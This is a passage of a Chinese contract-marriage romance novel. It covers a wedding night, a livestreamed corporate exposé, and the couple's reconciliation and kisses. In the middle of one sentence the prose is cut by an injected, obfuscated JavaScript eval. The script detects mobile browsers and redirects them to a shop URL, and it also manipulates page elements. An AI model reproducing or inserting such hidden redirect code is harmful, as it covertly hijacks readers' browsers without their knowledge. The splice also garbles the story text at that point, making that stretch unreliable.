梁珞唯做了个深呼吸，语气塌下来，带着一丝柔软：“回家了？” 孟婧低头抠着床单，轻轻地嗯了一声。 说得好像他们已经共同居住生活了很久很久，明明此时此刻是她新婚夜独守空房。 虽然是协议结婚，但怎么说也是人生大事，在空荡荡的陌生房子里度过新婚夜，想想也挺孤单的。 “处理这件事需要时间，我会尽快。”梁珞唯思考几秒，“方便视频么。” 孟婧梗着后颈：“干嘛？” “求个监督。”梁珞唯声音依旧很轻，“也怕你一生气跑了。” 咚咚跳着的心漏了一拍，终究还是落回到应该在的地方。孟婧强忍着上扬的嘴角，装作想了一会儿：“可是我要去洗澡了。” 说完才觉得有歧义，又连忙补充：“我可不是…” “手机放在房间里就好。”梁珞唯轻笑，“不看。” 不看？不看什么，是不想看还是没必要看？ “梁珞唯。”孟婧站起来原地转了两圈，“你还想不想回家了？” “想。”梁珞唯隔着电话点了点头，“可以吗？” “不知道，你试试吧。”孟婧哼了一声，立马挂掉电话。 不到三秒钟，视频邀请打过来。 孟婧把手机放到床上，前置摄像头对着天花板，点开接听。 侧身站在旁边，不出现在镜头中，却可以清晰看到梁珞唯那边的画面。 画面在小幅度晃动，对焦不准，却能看清男人极具力量感的宽阔肩膀，深凹的锁骨和凸起的喉结。 梁珞唯将手机架好，退开一些，露出镜头下的全貌。 他身在书房，将手机放在房间的一角，孟婧可以看到整间屋子的模样。扩音器里传出书房门被打开的声音，随后张沛走进房间，一脸愁容。 梁珞唯看了眼手机所在的方向：“我在和家里人视频。” “家里人？”张沛一脸懵。 梁庭什在国外，梁屹承在医院，梁珞唯唯一勉强能称为家人的只剩还在客厅撤热搜的梁曼。 他顺着梁珞唯的目光回头。 “哎呦我去！老大你手机怎么放这了。”张沛走过去看了看，“这是和谁视频？天花板，难道真是梁…” “张沛，是我。”孟婧虽然不在镜头里，声音却很清晰。 张沛一脸吃瘪：“哦，是孟婧啊，哈哈哈，确实算是家里人，对不起啊，这件事…我还需要消化消化。” 梁珞唯不想看着这两个人在他眼皮子底下聊天，敲了两下桌面：“结束后不是还要回公司加班，又不急了？” 张沛这才反应过来。 热搜是面向全社会的，孟婧自然也能看到，刚领完证看到这种八卦新闻，孟婧想要看着梁珞唯也是理所当然。 张沛对着手机一步三回头：“孟婧，你放心吧，老大他为你守身如玉，我们都在，他没和那女的说几句话，真的！” 孟婧哭笑不得：“跟我说这些没用，是他非要视频的。” 张沛哦了几下，想到从另一个女秘书那里学来的新词：“老大不愧是男德典范！” 梁珞唯：“……” 孟婧：“…我还有点事，你们先忙。” 将话筒叉掉，她找出换洗衣服，红着脸径自去洗漱。 洗掉一身疲惫，躺到床上，孟婧这才去看手机。手机屏幕依旧对着天花板，镜头那边，梁珞唯正在挂断电话。 孟婧没有开启话筒，从梁珞唯的视角来看，电话这头的情况是未知。 但他还是自言自语般对着手机说：“刁氏集团主页，五分钟后开始直播。” 孟婧取出平板，在搜索栏中输入“刁氏集团”，官博页面上显示，该账号上一次发帖还是三年前。 虽然账号粉丝不多，但通过曼曼传媒内部运作，#梁庭什前妻刁涟首次公开梁家内部隐秘冲上热搜前五。 即使大家已经忘记曾经鼎盛一时的刁氏餐饮，但“梁庭什前妻”这个噱头却绝对足够响亮。 当年离婚时，两家做得及其低调，刁涟先是撤出公司管理层，对外宣称调理身体，之后又移民国外养病，慢慢淡出人们的视野。 至于两人离婚，也是后来梁庭什在采访中自己透露的。从那以后，再也没有过关于刁涟的报道。 翻看了一些主页中曾经的消息，五分钟很快过去。随着直播提示亮起，热搜又上升几步。 “看了吗？”梁珞唯不知什么时候走到手机前面，“本来是安排她在梁庭什回国后再直播的，今天的事是我的疏忽，不过早晚的事儿。” 孟婧举起手机，打开摄像头，点开麦克风：“在看了。” 刚吹干的长发披在浅蓝色毛绒睡衣上，脸颊红彤彤的，像吃饱喝足的小动物。 梁珞唯盯着手机看了好久，直到孟婧轻咳一声，才回了神。 她知道梁珞唯也在紧张，这种时候，她以此种方式陪伴在他身边，也是个不错的选择。 这是孟婧在那张借位接吻照之后，第一次见到五年后的刁涟。 现实中的她比起网络上流传的图片漂亮不少，但眉宇间流露出的憔悴与沧桑，让人很容易看出，她这些年过得并不算好。 刁涟身穿白色衬衫，头发贴在头皮上梳好，盘起扎成丸子，手里拿着一沓文件。 “大家好，我是刁氏集团前任副总裁刁涟。不久前，平台上传出一条关于我本人的热搜，为了澄清，更为了向大家聊几件陈年旧事，所以才开了直播。” “在开始之前，我想先请大家听一段录音。”镜头前开始播放梁庭什和梁氏集团某高管的对话。 孟婧边听边问梁珞唯：“是真的吗？” “是。”梁珞唯披上外套，将手机从支架上取下来，“今天她就是来提供这段录音的，我让梁曼帮忙听的。” 撇清关系的态度不能再明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717724|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显。 孟婧捋着垂在胸前的发丝：“我又没问你。” 梁珞唯连上蓝牙耳机，声音聚拢起来：“早该主动坦白。” 手机镜头角度刁钻，孟婧只能看到他胸前的几颗纽扣：“怎么出门了，开车去哪里？” 梁珞唯正好转头倒车，没有回答。 平板里的女声微微颤抖着继续，提到梁庭什非法窃取刁氏集团几种专利配方时，孟婧来了精神。 这和梁庭什向沈确提供的合同套路一模一样。 于是，她的注意力全部转移到直播上。 刁涟虽然看起来很紧张，但呈现出的数据、资料，讲述事情的逻辑统统没有问题，甚至可以说是专业。 要说没人在背后指导，孟婧都不相信。 看梁珞唯还在开车，孟婧问：“这就是你之前提到过的杀手锏吗？” 如果之前梁庭什的种种都只是谣言，集团出的问题也都能找到了高管顶包，那么这次刁涟的揭露则是板上钉钉的证据。 可以直接上交给检察院的那种。 手机屏幕不知什么时候被遮住了，孟婧皱眉：“梁珞唯，怎么不说话了。” 这么火急火燎的，到底去哪儿了。 “没不说话。”听声音，对方是刚刚打开麦克风，“之前想在梁庭什归国的机场里来一次当面对质的，总之，今晚是计划之外。” 好在效果超出预期。 有了之前热搜的铺垫，不怕这场直播不会爆。 “后续怎么办。”孟婧看着平板中的女人，“刁涟一直在国外，这次冒着风险回来，是你给她什么好处了吧。” 梁珞唯下了车，麦克风处传来脚步声：“梁家偷刁家的东西，我会尽可能还掉。” 还有这场直播本身，就是刁氏重振旗鼓的第一步。 心里没来由地吃味，孟婧小声嘟囔：“那梁庭什欠刁涟的呢，你也要还吗？” 她心里突然涌出很多想法，以至于没有听见大门打开的声音。 梁珞唯一手拿着手机，一手换鞋：“为什么总提她。” 怎么还倒打一耙了呢？他让那个女人进的旧宅，还主动让孟婧看她的直播，现在怎么变成她提的了呢？ 孟婧有点生气，又觉得这种生气来的不明不白，从床上坐起来：“你也没少提。” “不说那些了好么，今天我们结婚。” 手机扩音器的声音终究比不上真人，一左一右声道不同，孟婧很快发现了，不敢相信地看向门口。 “你…怎么回来了。”她起身走过去。 男人风尘仆仆，额间的发丝被风吹得凌乱，见到毛茸茸的她，脸上表情松弛下来：“比起视频，还是面对面更好看。” 在这么大的事情过后，赶回家见她，还说出如此露骨的夸赞，孟婧受到很大的冲击，不知道该不该回应。 她脸热，低下头：“说什么呢。” 梁珞唯见她羞涩的样子，眸中颜色更深。 他一把揽过人，趁她挣脱之前，低头在她耳边说：“喜欢你。” “不管那些以前的事，我说的是现在。” 孟婧感到被他抱着的地方传来酥麻的感觉，体内流转着微微电流，随着心脏的股东逐渐蔓延全身。 她承认自己刚刚确实有一点吃醋，也知道梁珞唯说的是真心话。两人揣着明白装糊涂，拿着一纸婚前协议说事，拉拉扯扯走到现在，实属不易。 梁珞唯见她没回应，手上力道更甚：“如果有天你想起以前的事，能不能承认，在失忆的日子里，曾经对我有过感觉。” 这人怎么做到又傻又疯的？ 孟婧抬头看他：“梁珞唯，这件事对你来说，很重要吗？” “很重要。”梁珞唯一瞬不瞬地看着她，“比出国治疗恢复记忆这件事还重要。” 平板电脑没关，刁涟柔弱纤细的嗓音还在继续，孟婧想起那些因为这个女人而不爽的瞬间，又想起谭思思的话。 “梁珞唯。”孟婧淡淡地回看他，“低头。” 随后，孟婧踮起脚尖吻了他。 64. 【正文完】 梁珞唯自幼缺乏对“家庭”这一概念的认知。 母亲早逝，父亲又是个热衷家暴的控制狂，从小到大，他更喜欢独自面对满室冰冷。 今天是他第一次感受到“回家”的渴望。 不是因为这里已经有人做好饭菜，也不是因为两人约好要去做什么事情，只是单纯得不能再单纯的想要亲眼看见她而已。 他相信，即使回的不是自己家，而是酒店，或者出租屋，也会是同样的心情。 原来那句话是真的——家人在哪里，哪里就是家。 这种心脏随着距离缩短而不断膨胀的过程，竟然如此美妙，让人上瘾。 即使孟婧不让他低头，他也本打算做点什么。 两唇轻轻相触，再分开，孟婧脚腕松了力气，低头回到原位，预示着一吻结束。 可这是民政局门前已经做过的事情，梁珞唯不想重复。 他揽着她的腰，保持弓着背的姿势：“就这样？” 孟婧耳根已然红透，推了他一下：“想什么美事呢。” 喉结鼓动，梁珞唯目光灼灼：“想换一种吻法。” 孟婧算是明白了，眼前这个男人只要一开始口出狂言，那些在她看来难以启齿的话就根本停不下来。 她眨着眼睛：“你说什…呜…” 还没来得及回答，梁珞唯已经再次吻下来。 孟婧感到自己身子一轻，被人猛地托起靠在墙上，灼热的鼻息从耳后蔓延到脸颊，最后是上唇。 轻轻的舔舐再次让她浑身过电，但预想中的招架不住却没有发生。 她环住梁珞唯的脖子，扬起下巴迎上去。 像是练习过一般，身体先于大脑的思考做出回应，从开口试探到引狼入室，一套动作行云流水，连她自己都没想到。 梁珞唯手上的力道更甚，呼吸粗重起来，随着唇舌攻陷越来越深，他用腰腹力量将孟婧抵在墙上，抽出放在她腰间的手。 孟婧感到自己的脸被双手捧起，唇角被男人拇指内的粗糙皮肤摩挲着，换气的功夫，那指尖已然杵入，在口腔拨弄着。 梁珞唯呼吸急促，声音哑得厉害，皱眉问：“谁教你这么亲的…” 几缕长发垂到他的手背，未散去的洗发水香味缠绕在两人周围，孟婧舌尖扫过那根拇指：“吃醋了？” 她看到梁珞唯幽暗眸子的深处，正在极力掩饰着疯狂和失态。 有贼心没贼胆，孟婧有点后悔这样的调侃，万一对方真急了，她才是真的抵挡不住。 于是她露出一个淡淡笑容，配上漾着水的眸子说：“这点自信都没有，万一是你教的呢？” 虽然梁珞唯还没回复记忆，但单凭他最近的表现，也能推测出，他但凡喜欢上一个人，是不可能永远保持绅士的。 应该是没想到孟婧会这么说，梁珞唯愣了一下，然后再孟婧唇上又吻了几下，算是不气了。 “梁珞唯你能不能…别顶我了。” 虽然接吻的时候足够大胆，但真要“真枪实弹”做点什么，孟婧还是接受不了的。 虽说刚才气氛激烈，但除了脸颊泛红，两人的手还算规矩，衣着整齐，没越雷池半步。 梁珞唯还在一次一次啄着：“说，有没有感觉？” 到底是喜欢的感觉还是身体的感觉？ 虽然这两种都有… “你是小孩子吗？”孟婧含住他的唇，又松开，“梁珞唯，对自己有点信心，你…各方面都很优秀，是值得我喜欢的人。” “现在能放我下来了吗？” 梁珞唯不情愿地松开。 刚才的吻令他脑中升起一丝熟悉感，这种奇妙又朦胧的感觉让他疯狂想要更进一步。 但最终忍住了。 既然看重的是两人的以后，就不该跟着曾经的感觉走。 孟婧双脚回到地面，腿根上的触感还没消散，她强装镇定地理了理毛绒睡衣：“梁珞唯，我饿了。” 梁珞唯捏了捏孟婧的脸：“还没吃晚饭？” 孟婧点点头。 时间不算太晚，但是她通常洗完澡就不喜欢再出门了。 “可以点外卖吗？”刚回来，她就开始想念周阿姨了，“我不怎么会做饭。” 既然说到这个话题，孟婧又问：“对了，你家这么大，不请做饭阿姨吗？” “这边很少开火。”梁珞唯捂住她的眼睛，收拢外套，挡住还没落下去的兴奋。 事实上，这些年他在晚餐时间回家的机会少之又少，不是有饭局，就是在办公室吃三明治解决。 不过，以后真的要考虑煮饭阿姨了。家里有了老婆孩子，总不能让她们饿肚子。 “关于煮饭阿姨，明天我让人去找几个备选，你来挑。”梁珞唯眼中浮现温柔，“女主人现在想吃点儿什么？” “我倒是没什么忌口。”孟婧红着脸不敢低头，装作很忙的样子，转身去拿手机，“这个时间吃碳水，会不会有点罪恶。” “意面可以吗？”梁珞唯想到张沛发来的生活用品清单，里面似乎有一些梁氏集团开发的新品。 “可以啊。”孟婧眼中露出不可思议，“你会做饭？” “速食包而已。”这是梁珞唯第一次给别人做饭，“应该不会踩雷，给我二十分钟。” “给你三十分钟。”孟婧笑着抱了他一下，“多出的十分钟，你去换件衣服。” 总不能在家还穿着外套，还有那里…也需要解决一下。 “十分 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那还是喜欢过的意思呗。 孟婧唇角下压，又问：“那你呢，你喜欢什么样的女人？” 梁珞唯远远地叹了口气：“如果没记错，刚刚我表白过了。” “那就能让往事一笔勾销？”孟婧看着跳跃的火苗，轻哼一声，“还记得第一次见面，你要和我谈合作时候的样子吗？高高在上的，把我当什么。” 梁珞唯将锅盖上盖子，走到沙发后，俯身在孟婧头顶落下一个吻：“我错了。” “渣男发言。”孟婧拍开他，“别打扰我看直播。” 梁珞唯皱眉关掉平板：“有什么可看的，想知道内容，可以直接管张沛要发言稿。” “你们…这么精确吗？” 孟婧原以为梁珞唯这边顶多给刁涟列了发言大纲，没想到逐字逐句均是经过精心设计。 “梁曼在现场，放心。毕竟是直播，说错一句话都会产生蝴蝶效应。” “我也有一个问题想问。”梁珞唯已经将唇移到她的耳廓，“我们现在，算什么关系？” 孟婧被他吻得浑身酸软，不知什么时候，梁珞唯跨过沙发靠背，抱着她倒下去。 是啊，算是什么关系呢。 已经领了结婚证，法律上，他们是最亲密无间的爱人，但除此以外呢？ 虽然共同经历很多，彼此却依旧不甚了解，在此之后的路广阔而漫长。 “梁珞唯。”孟婧转身捧起男人的脸，眼中闪着亮光，“在你恢复记忆之前…” 梁珞唯紧接着替她说出剩下半句：“我们重新开始。” -正文完-